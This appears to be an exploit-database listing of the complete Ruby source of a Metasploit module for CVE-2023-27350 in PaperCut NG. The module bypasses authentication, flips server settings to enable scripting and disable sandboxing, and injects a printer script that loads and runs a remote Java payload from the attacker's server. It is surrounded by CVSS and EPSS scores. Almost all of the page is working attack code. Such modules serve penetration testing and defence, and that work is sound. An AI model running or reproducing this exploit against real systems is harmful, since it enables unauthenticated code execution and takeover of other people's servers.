Lucene search

K
zdtCatatonicprime1337DAY-ID-38767
HistoryJun 07, 2023 - 12:00 a.m.

PaperCut PaperCutNG Authentication Bypass Exploit

2023-06-0700:00:00
catatonicprime
0day.today
180
papercutng
authentication bypass
arbitrary code execution
rhinojs engine
application log
modification of server settings

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

10

Confidence

High

EPSS

0.97

Percentile

99.8%

This Metasploit module leverages an authentication bypass in PaperCut NG. If necessary it updates Papercut configuration options, specifically the print-and-de vice.script.enabled and print.script.sandboxed options to allow for arbitrary code execution running in the builtin RhinoJS engine. This module logs at most 2 events in the application log of papercut. Each event is tied to modification of server settings.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'cgi'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PaperCut PaperCutNG Authentication Bypass',
        'Description' => %q{
          This module leverages an authentication bypass in PaperCut NG. If necessary it
          updates Papercut configuration options, specifically the 'print-and-device.script.enabled'
          and 'print.script.sandboxed' options to allow for arbitrary code execution running in
          the builtin RhinoJS engine.

          This module logs at most 2 events in the application log of papercut. Each event is tied
          to modifcation of server settings.
        },
        'License' => MSF_LICENSE,
        'Author' => ['catatonicprime'],
        'References' => [
          ['CVE', '2023-27350'],
          ['ZDI', '23-233'],
          ['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'],
          ['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'],
          ['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'],
          ['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software']
        ],
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [ [ 'Automatic Target', {}] ],
        'Platform' => [ 'java' ],
        'Arch' => ARCH_JAVA,
        'Privileged' => true,
        'DisclosureDate' => '2023-03-13',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => '9191',
          'SSL' => 'false'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']),
        OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
      ], self.class
    )
    @csrf_token = nil
    @config_cleanup = []
  end

  def bypass_auth
    # Attempt to generate a session & recover the anti-csrf token for future requests.
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'keep_cookies' => true,
        'vars_get' => {
          'service' => 'page/SetupCompleted'
        }
      }
    )
    return nil unless res && res.code == 200

    vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}")

    # Parse the application version from the response for future decisions.
    product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1]
    if product_details.nil?
      product_details = res.get_html_document.xpath('//span[contains(@class, "version")]')
    end
    version_match = product_details.text.match('(?<major>[0-9]+)\.(?<minor>[0-9]+)')
    @version_major = Integer(version_match[:major])
    match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?<csrf>[^']*)'/)
    @csrf_token = match ? match[:csrf] : ''
  end

  def get_config_option(name)
    # 1) do a quickfind (setting the tapestry state)
    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path),
        'keep_cookies' => true,
        'headers' => {
          'Origin' => full_uri
        },
        'vars_post' => {
          'service' => 'direct/1/ConfigEditor/quickFindForm',
          'sp' => 'S0',
          'Form0' => '$TextField,doQuickFind,clear',
          '$TextField' => name,
          'doQuickFind' => 'Go'
        }
      }
    )
    # 2) parse and return the result
    return nil unless res && res.code == 200 && (html = res.get_html_document)
    return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']"))
    return nil unless td.count == 1 && td.text == name

    value_input = html.xpath("//input[@name='$TextField$0']")
    value_input[0]['value']
  end

  def set_config_option(name, value, rollback)
    # set name:value pair(s)
    current_value = get_config_option(name)
    if current_value == value
      vprint_good("Server option '#{name}' already set to '#{value}')")
      return
    end

    vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'")
    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path),
        'keep_cookies' => true,
        'headers' => {
          'Origin' => full_uri
        },
        'vars_post' => {
          'service' => 'direct/1/ConfigEditor/$Form',
          'sp' => 'S1',
          'Form1' => '$TextField$0,$Submit,$Submit$0',
          '$TextField$0' => value,
          '$Submit' => 'Update'
        }
      }
    )
    fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200
    # skip storing the cleanup change if this is rolling back a previous change
    @config_cleanup.push([name, current_value]) unless rollback
  end

  def cleanup
    super
    if @config_cleanup.nil?
      return
    end

    until @config_cleanup.empty?
      cfg = @config_cleanup.pop
      vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'")
      set_config_option(cfg[0], cfg[1], true)
    end
  end

  def primer
    payload_uri = get_uri
    script = <<~SCRIPT
      var urls = [new java.net.URL("#{payload_uri}.jar")];
      var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]);
      s;
    SCRIPT

    # The number of parameters passed changed in version 17.
    form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0'
    if @version_major > 16
      form0 += ',$Submit$1'
    end
    # 6) Trigger the code execution the printer_id
    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path),
        'keep_cookies' => true,
        'headers' => {
          'Origin' => full_uri
        },
        'vars_post' => {
          'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form',
          'sp' => 'S0',
          'Form0' => form0,
          'enablePrintScript' => 'on',
          '$Submit$1' => 'Apply',
          'printerId' => 'l1001',
          'scriptBody' => script
        }
      }
    )
    fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200
  end

  def check
    # For the check command
    bypass_success = bypass_auth
    if bypass_success.nil?
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Vulnerable
  end

  def exploit
    # Main function
    # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests.
    bypass_auth unless @csrf_token
    if @csrf_token.nil?
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    # Sandboxing wasn't introduced until version 19
    if @version_major >= 19
      # 2) Enable scripts, if needed
      set_config_option('print-and-device.script.enabled', 'Y', false)

      # 3) Disable sandboxing, if needed
      set_config_option('print.script.sandboxed', 'N', false)
    end
    # 5) Select the printer, this loads it into the tapestry session to be modified
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'keep_cookies' => true,
        'headers' => {
          'Origin' => full_uri
        },
        'vars_get' => {
          'service' => 'direct/1/PrinterList/selectPrinter',
          'sp' => 'l1001'
        }
      }
    )
    fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200

    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
    # When the server stop due to our timeout, this is raised
  end

  def on_request_uri(cli, request)
    vprint_status("Sending payload for requested uri: #{request.uri}")
    send_response(cli, payload.raw)
  end

end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

10

Confidence

High

EPSS

0.97

Percentile

99.8%